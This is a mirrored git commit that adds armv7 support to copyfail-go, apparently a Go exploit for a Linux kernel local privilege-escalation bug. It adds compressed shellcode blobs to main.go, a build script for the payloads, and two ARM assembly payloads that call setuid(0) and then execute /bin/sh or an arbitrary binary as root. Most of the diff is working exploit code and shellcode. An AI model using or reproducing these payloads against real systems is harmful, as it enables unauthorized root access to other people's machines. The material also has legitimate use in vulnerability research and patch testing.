mirror of
https://github.com/badsectorlabs/copyfail-go.git
synced 2026-05-16 06:30:10 +00:00
feat: ✨ add support for armv7
- Updated .goreleaser.yaml to include armv7 builds. - Added new shellcode payloads for armv7l - Enhanced build-n-print.sh to support building payloads for armv7l architecture. - Updated README.md with instructions for compiling payloads on Debian systems.
This commit is contained in:
parent
131f7d1842
commit
9f4e4936ec
6 changed files with 140 additions and 3 deletions
|
|
@ -9,6 +9,13 @@ builds:
|
||||||
- CGO_ENABLED=0
|
- CGO_ENABLED=0
|
||||||
goos:
|
goos:
|
||||||
- linux
|
- linux
|
||||||
|
goarch:
|
||||||
|
- amd64
|
||||||
|
- "386"
|
||||||
|
- arm64
|
||||||
|
- arm
|
||||||
|
goarm:
|
||||||
|
- "7"
|
||||||
|
|
||||||
archives:
|
archives:
|
||||||
- formats: binary
|
- formats: binary
|
||||||
|
|
|
||||||
|
|
@ -29,6 +29,12 @@ user@host$ ./copyfail-go --backup /tmp/su --exec ./your-binary
|
||||||
user@host$ # Use whatever you ran to restore su from /tmp/su
|
user@host$ # Use whatever you ran to restore su from /tmp/su
|
||||||
```
|
```
|
||||||
|
|
||||||
|
## Don't trust those hex blobs?
|
||||||
|
|
||||||
|
Compile the payloads yourself with `payloads/build-n-print.sh` on a Debian host (Debian 13 tested).
|
||||||
|
|
||||||
|
You'll need to `apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf` then run the script from in the payloads directory. It will compile each payload and output the zlib compressed hex strings. Compare those to what is in `main.go` (or replace them with your own) and build the `copyfile-go` binaries with `goreleaser build --snapshot --clean` from the main project directory.
|
||||||
|
|
||||||
## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels))
|
## Affected kernels (from [copy-fail-c](https://github.com/tgies/copy-fail-c/tree/main#affected-kernels))
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
|
||||||
4
main.go
4
main.go
|
|
@ -36,6 +36,7 @@ var payloadsZlibHex = map[string]string{
|
||||||
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3",
|
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3",
|
||||||
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858",
|
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858",
|
||||||
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
|
"arm64": "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e421d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578",
|
||||||
|
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c61d40128459e1b20b1e8b172c780c64bc9760e87fc42000642b2c78cc0d1503c93342d9fa499979fac5190c00aca71742",
|
||||||
}
|
}
|
||||||
|
|
||||||
// See payloads/exec-argv1-* for the shellcode
|
// See payloads/exec-argv1-* for the shellcode
|
||||||
|
|
@ -43,6 +44,7 @@ var execArgv1ZlibHex = map[string]string{
|
||||||
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf",
|
"amd64": "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf",
|
||||||
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180",
|
"386": "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180",
|
||||||
"arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509",
|
"arm64": "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509",
|
||||||
|
"arm": "789cab77f57163646464800126060d06102f84c181c10426c8c2c06ac2a0c000538550ed00c60d40128459e1b20b1e8b172c780c64bce76098fb944100c85658f0981b2a06926784b201f6cc14c1",
|
||||||
}
|
}
|
||||||
|
|
||||||
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
|
// packCmsg constructs a raw Control Message (CMSG) buffer to be sent alongside the payload
|
||||||
|
|
@ -241,7 +243,7 @@ func main() {
|
||||||
// Pick payload for the running architecture
|
// Pick payload for the running architecture
|
||||||
payloadHex, ok = payloadsZlibHex[runtime.GOARCH]
|
payloadHex, ok = payloadsZlibHex[runtime.GOARCH]
|
||||||
if !ok {
|
if !ok {
|
||||||
log.Fatalf("Unsupported architecture: %s (need amd64 or arm64)", runtime.GOARCH)
|
log.Fatalf("Unsupported architecture: %s", runtime.GOARCH)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
payloadZlib, err := hex.DecodeString(payloadHex)
|
payloadZlib, err := hex.DecodeString(payloadHex)
|
||||||
|
|
|
||||||
|
|
@ -25,7 +25,7 @@ if ! command -v aarch64-linux-gnu-as &> /dev/null; then
|
||||||
exit 1
|
exit 1
|
||||||
fi
|
fi
|
||||||
|
|
||||||
for payload in *.S; do
|
for payload in *aarch64.S; do
|
||||||
# Assemble the source into an object file
|
# Assemble the source into an object file
|
||||||
echo "[+] Building $payload"
|
echo "[+] Building $payload"
|
||||||
aarch64-linux-gnu-as $payload -o ${payload%.S}.o
|
aarch64-linux-gnu-as $payload -o ${payload%.S}.o
|
||||||
|
|
@ -34,4 +34,20 @@ for payload in *.S; do
|
||||||
aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S}
|
aarch64-linux-gnu-objcopy -O binary ${payload%.S}.o ${payload%.S}
|
||||||
echo "[+] Printing $payload as hex"
|
echo "[+] Printing $payload as hex"
|
||||||
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
||||||
done
|
done
|
||||||
|
|
||||||
|
if ! command -v arm-linux-gnueabihf-as &> /dev/null; then
|
||||||
|
echo "[!] arm-linux-gnueabihf-as could not be found. Please install binutils-arm-linux-gnueabihf"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
for payload in *armv7l.S; do
|
||||||
|
# Assemble the source into an object file
|
||||||
|
echo "[+] Building $payload"
|
||||||
|
arm-linux-gnueabihf-as $payload -o ${payload%.S}.o
|
||||||
|
# Extract ONLY the raw bytes into a flat binary file
|
||||||
|
echo "[+] Extracting $payload as binary"
|
||||||
|
arm-linux-gnueabihf-objcopy -O binary ${payload%.S}.o ${payload%.S}
|
||||||
|
echo "[+] Printing $payload as hex"
|
||||||
|
cat ${payload%.S} | python3 -c 'import sys, zlib; print(zlib.compress(sys.stdin.buffer.read()).hex())'
|
||||||
|
done
|
||||||
|
|
|
||||||
53
payloads/exec-argv1-armv7l.S
Normal file
53
payloads/exec-argv1-armv7l.S
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
.section .text
|
||||||
|
.globl _start
|
||||||
|
|
||||||
|
// --- 32-bit ELF Header (52 bytes) ---
|
||||||
|
ehdr:
|
||||||
|
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
|
||||||
|
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
|
||||||
|
.byte 0, 0, 0, 0, 0, 0, 0, 0
|
||||||
|
.short 2 // e_type: Executable
|
||||||
|
.short 40 // e_machine: ARM (0x28)
|
||||||
|
.int 1 // e_version
|
||||||
|
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
|
||||||
|
.int 0x34 // e_phoff (Program Header offset = 52)
|
||||||
|
.int 0 // e_shoff
|
||||||
|
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
|
||||||
|
.short 52 // e_ehsize
|
||||||
|
.short 32 // e_phentsize
|
||||||
|
.short 1 // e_phnum
|
||||||
|
.short 0 // e_shentsize
|
||||||
|
.short 0 // e_shnum
|
||||||
|
.short 0 // e_shstrndx
|
||||||
|
|
||||||
|
// --- Program Header (PT_LOAD, 32 bytes) ---
|
||||||
|
phdr:
|
||||||
|
.int 1 // p_type: PT_LOAD
|
||||||
|
.int 0 // p_offset
|
||||||
|
.int 0x400000 // p_vaddr
|
||||||
|
.int 0x400000 // p_paddr
|
||||||
|
.int file_end - ehdr // p_filesz
|
||||||
|
.int file_end - ehdr // p_memsz
|
||||||
|
.int 5 // p_flags: PF_R | PF_X
|
||||||
|
.int 0x10000 // p_align
|
||||||
|
|
||||||
|
// --- Payload ---
|
||||||
|
_start:
|
||||||
|
// setuid(0)
|
||||||
|
mov r0, #0
|
||||||
|
mov r7, #23 // SYS_setuid
|
||||||
|
svc #0
|
||||||
|
|
||||||
|
// execve(argv[1], NULL, NULL)
|
||||||
|
ldr r0, [sp, #8] // r0 = argv[1] (skip argc + argv[0], 4 bytes each)
|
||||||
|
mov r1, #0 // r1 = NULL
|
||||||
|
mov r2, #0 // r2 = NULL
|
||||||
|
mov r7, #11 // SYS_execve
|
||||||
|
svc #0
|
||||||
|
|
||||||
|
// exit(0)
|
||||||
|
mov r0, #0
|
||||||
|
mov r7, #1 // SYS_exit
|
||||||
|
svc #0
|
||||||
|
|
||||||
|
file_end:
|
||||||
53
payloads/exec-bin-sh-armv7l.S
Normal file
53
payloads/exec-bin-sh-armv7l.S
Normal file
|
|
@ -0,0 +1,53 @@
|
||||||
|
.section .text
|
||||||
|
.globl _start
|
||||||
|
|
||||||
|
// --- 32-bit ELF Header (52 bytes) ---
|
||||||
|
ehdr:
|
||||||
|
.byte 0x7F, 0x45, 0x4c, 0x46 // "\x7fELF"
|
||||||
|
.byte 1, 1, 1, 0 // 32-bit, little-endian, version 1
|
||||||
|
.byte 0, 0, 0, 0, 0, 0, 0, 0
|
||||||
|
.short 2 // e_type: Executable
|
||||||
|
.short 40 // e_machine: ARM (0x28)
|
||||||
|
.int 1 // e_version
|
||||||
|
.int 0x400054 // e_entry (0x400000 + 0x34 + 0x20)
|
||||||
|
.int 0x34 // e_phoff (Program Header offset = 52)
|
||||||
|
.int 0 // e_shoff
|
||||||
|
.int 0x5000400 // e_flags: EF_ARM_EABI_VER5 | EF_ARM_VFP_FLOAT
|
||||||
|
.short 52 // e_ehsize
|
||||||
|
.short 32 // e_phentsize
|
||||||
|
.short 1 // e_phnum
|
||||||
|
.short 0 // e_shentsize
|
||||||
|
.short 0 // e_shnum
|
||||||
|
.short 0 // e_shstrndx
|
||||||
|
|
||||||
|
// --- Program Header (PT_LOAD, 32 bytes) ---
|
||||||
|
phdr:
|
||||||
|
.int 1 // p_type: PT_LOAD
|
||||||
|
.int 0 // p_offset
|
||||||
|
.int 0x400000 // p_vaddr
|
||||||
|
.int 0x400000 // p_paddr
|
||||||
|
.int file_end - ehdr // p_filesz
|
||||||
|
.int file_end - ehdr // p_memsz
|
||||||
|
.int 5 // p_flags: PF_R | PF_X
|
||||||
|
.int 0x10000 // p_align
|
||||||
|
|
||||||
|
// --- Payload ---
|
||||||
|
_start:
|
||||||
|
mov r0, #0
|
||||||
|
mov r7, #23 // SYS_setuid
|
||||||
|
svc #0
|
||||||
|
|
||||||
|
adr r0, sh // PC-relative load of the "sh" label
|
||||||
|
mov r1, #0
|
||||||
|
mov r2, #0
|
||||||
|
mov r7, #11 // SYS_execve
|
||||||
|
svc #0
|
||||||
|
|
||||||
|
mov r0, #0
|
||||||
|
mov r7, #1 // SYS_exit
|
||||||
|
svc #0
|
||||||
|
|
||||||
|
sh:
|
||||||
|
.asciz "/bin/sh" // 8 bytes (includes null terminator)
|
||||||
|
|
||||||
|
file_end:
|
||||||
Loading…
Add table
Add a link
Reference in a new issue